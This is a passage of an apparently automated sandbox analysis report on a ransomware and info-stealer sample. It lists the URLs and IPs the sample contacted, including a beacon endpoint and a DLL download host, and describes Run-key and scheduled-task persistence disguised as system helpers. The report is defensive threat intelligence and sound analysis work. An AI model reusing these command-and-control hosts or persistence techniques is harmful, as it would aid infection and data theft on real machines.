https://store.steampowered.com/privacy_agreement/	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json7	AaIo4VGgvO.exe, 00000018.00000002.2106582703.0000000000758000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.youtube.com/	AaIo4VGgvO.exe, 00000004.00000003.1749797585.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/H	AaIo4VGgvO.exe, 00000006.00000002.4109983935.0000000000598000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27	AaIo4VGgvO.exe, 00000004.00000003.2210068073.00000000030D4000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2164637879.00000000030D4000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088931285.0000000000981000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2218891472.000000000097B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137278747.00000000030D4000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2216702557.0000000000981000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2205257406.00000000030D4000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2220967832.00000000030D6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2216522460.00000000030D4000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2220162120.000000000097C000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2214521356.00000000030D4000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000006.00000002.4109983935.00000000005E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json3	AaIo4VGgvO.exe, 00000004.00000003.1680803884.000000000091D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true?	AaIo4VGgvO.exe, 00000004.00000003.2165814423.0000000000929000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2181443165.0000000000929000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2214363216.0000000000929000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000929000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2220022963.000000000092C000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2138459066.0000000000929000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2189412330.000000000092C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true=	AaIo4VGgvO.exe, 00000004.00000002.2219862422.00000000008C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/.	AaIo4VGgvO.exe, 00000018.00000002.2106582703.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000003.2105227231.00000000007A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonI	AaIo4VGgvO.exe, 00000004.00000003.1680803884.000000000095D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonJ	AaIo4VGgvO.exe, 00000006.00000003.1699758533.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/xUU	build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/;	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/irfailAt	build2.exe, 00000007.00000002.1730456687.0000000001A90000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonR0	AaIo4VGgvO.exe, 00000018.00000003.2105227231.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2106582703.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsontem32	AaIo4VGgvO.exe, 00000004.00000003.1680803884.000000000091D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149	build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.00000000005F1000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000558000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsondllx	AaIo4VGgvO.exe, 00000018.00000002.2106582703.0000000000758000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/sqln.dllT#	build2.exe, 00000008.00000002.1875287836.0000000000875000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonZ0	AaIo4VGgvO.exe, 00000018.00000003.2105227231.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2106582703.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonzP	AaIo4VGgvO.exe, 0000000C.00000002.1844090268.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.amazon.com/	AaIo4VGgvO.exe, 00000004.00000003.1748123173.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	build2.exe, 00000008.00000003.1873544480.000000000092B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149JEGDA	build2.exe, 00000008.00000002.1874465516.000000000051A000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://schemas.micro	AaIo4VGgvO.exe, 00000001.00000003.1663945564.0000000000636000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.twitter.com/	AaIo4VGgvO.exe, 00000004.00000003.1749633511.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.139.220	api.2ip.ua	United States	13335	CLOUDFLARENETUS	false
104.67.208.180	steamcommunity.com	United States	33662	CMCSUS	false
95.217.9.149	unknown	Germany	24940	HETZNER-ASDE	false
187.228.55.117	sdfjhuz.com	Mexico	8151	UninetSAdeCVMX	true
189.195.132.134	cajgtus.com	Mexico	13999	MegaCableSAdeCVMX	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430572
Start date and time:	2024-04-23 22:16:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	AaIo4VGgvO.exe renamed because original name is a hash value
Original Sample Name:	9f91afdb58b312a555db2978d7157150.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@44/1360@9/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 67 Number of non-executed functions: 218
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
VT rate limit hit for: AaIo4VGgvO.exe

Simulations

Behavior and APIs

Time	Type	Description
21:16:57	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe s>--Task
21:17:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
21:17:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
21:17:15	Task Scheduler	Run new task: Azure-Update-Task path: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
22:17:02	API Interceptor	1x Sleep call for process: AaIo4VGgvO.exe modified
22:17:11	API Interceptor	1x Sleep call for process: build2.exe modified
22:17:58	API Interceptor	7406375x Sleep call for process: mstsca.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.139.220	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	Grkradw6vd.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	Looy Ransomware.cmd	Get hash	malicious	Babuk, Djvu	Browse
	BuThoFHNNK.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, SmokeLoader, Vidar, Xehook Stealer	Browse
	MT5Um6Ykrl.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, Mars Stealer	Browse
	7gRw1JCzma.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	2QZzFqITHl.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
104.67.208.180	https://steamproxy.vip/?subsection=videos	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
104.67.208.180	GCJlGRkySF.exe	Get hash	malicious	Socks5Systemz	Browse	/ISteamUser/GetFriendList/v1/?key=1264380DE497A56581FF623D7765CD9B&steamid=76561198981962269
95.217.9.149	file.exe	Get hash	malicious	Vidar	Browse
95.217.9.149	file.exe	Get hash	malicious	Vidar	Browse
189.195.132.134	SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	sajdfue.com/files/1/build3.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sdfjhuz.com	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	179.27.75.59
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	187.134.67.105
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	181.128.130.193
	CDssd7jEvY.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	186.112.12.51
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	190.249.187.165
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	186.104.27.238
	Grkradw6vd.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	220.125.3.190
	WAhYftpepO.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	186.182.55.44
	BuThoFHNNK.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse	95.86.30.3
	6uVlPQSJ4e.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse	189.232.22.59
steamcommunity.com	file.exe	Get hash	malicious	Vidar	Browse	23.47.27.74
	file.exe	Get hash	malicious	Vidar	Browse	23.65.246.108
	file.exe	Get hash	malicious	Vidar	Browse	184.27.10.105
	file.exe	Get hash	malicious	Vidar	Browse	23.61.62.148
	file.exe	Get hash	malicious	Vidar	Browse	184.30.122.179
	SamFw Tool 4.exe	Get hash	malicious	Vidar	Browse	23.4.32.216
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	23.4.32.216
	file.exe	Get hash	malicious	Vidar	Browse	23.61.62.148
	file.exe	Get hash	malicious	Vidar	Browse	184.30.122.179
	file.exe	Get hash	malicious	Vidar	Browse	104.67.208.180
api.2ip.ua	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	172.67.139.220
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	104.21.65.24
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.139.220
	CDssd7jEvY.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	104.21.65.24
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	104.21.65.24
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	172.67.139.220
	Grkradw6vd.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	WAhYftpepO.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	104.21.65.24
	Looy Ransomware.cmd	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	BuThoFHNNK.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse	172.67.139.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	file.exe	Get hash	malicious	Vidar	Browse	95.217.244.99
	BW38j8Jkbl.exe	Get hash	malicious	Pony	Browse	144.76.41.117
	https://webmail.cmxserver.com/authsecure/index.php?email=kaylen@virtualintelligencebriefing.com	Get hash	malicious	Unknown	Browse	136.243.80.35
	file.exe	Get hash	malicious	Vidar	Browse	95.217.244.99
	#4711 Cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	94.130.55.203
	https://go-g3t-msg.com/clk/a_OsB_gBHRWO62vTWAvzpOfGhlvCmgnqQuB_nVFpwp0KsQNH4MVSSKRIuzJYdR_BaVVJ5ZUVsLA7nr4fsUb6_LUiF6WGpw3bjwuz5vIgSMwTtrE34sfAdm_UkarEQxhut5pfRW1RXCEHttsR2H4S_hK5eTdM2QP7CpynnqXHAbBrQcsZM-9kqSh5d_nLiZhEZPZ8-fFHjtAo-IjMx8qNxpwUaG3dVXhIP_Sup8raijFjXrg2qZL33tH_5PvkpDXJwZtdK-fqRvdTEjPP1v26xG4zHKIduU5irbL6N1Be1W_4vpi6D3s8twjJ8VAELgUZErAiigzfRVU0knOdQpcprkwW48npT3pYYpFqQU_lE9JBwESVd70JOVQuZWj_0cT7YVVRRta1y8F8vjFBDtNL73BXlqjP5sWlGZtuOnQDJ-iEKMXGy1W4uSrGBn5j07qBR3I1glqsVkAz7msz4iUFsVZ76hS_yvRcDNZBMYnXgKJRgA1A2nVJ9rwv5a55G82GhCYmOQvkUs0eG7vFHjr8gNQtxUn0q5LeVhTPJbym_uRj-gxiLJDjsLnSJXJ4eGtDvxVqhkaqM2P03jYs6BzR_fyd4ak2ZNKBm4FiGWKP44e6keEO2eNlfhZPBYG9OMlI3UM7jaU5YayqoO3Z	Get hash	malicious	Unknown	Browse	178.63.248.54
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	https://www.sushi-idea.com/	Get hash	malicious	Unknown	Browse	168.119.90.21
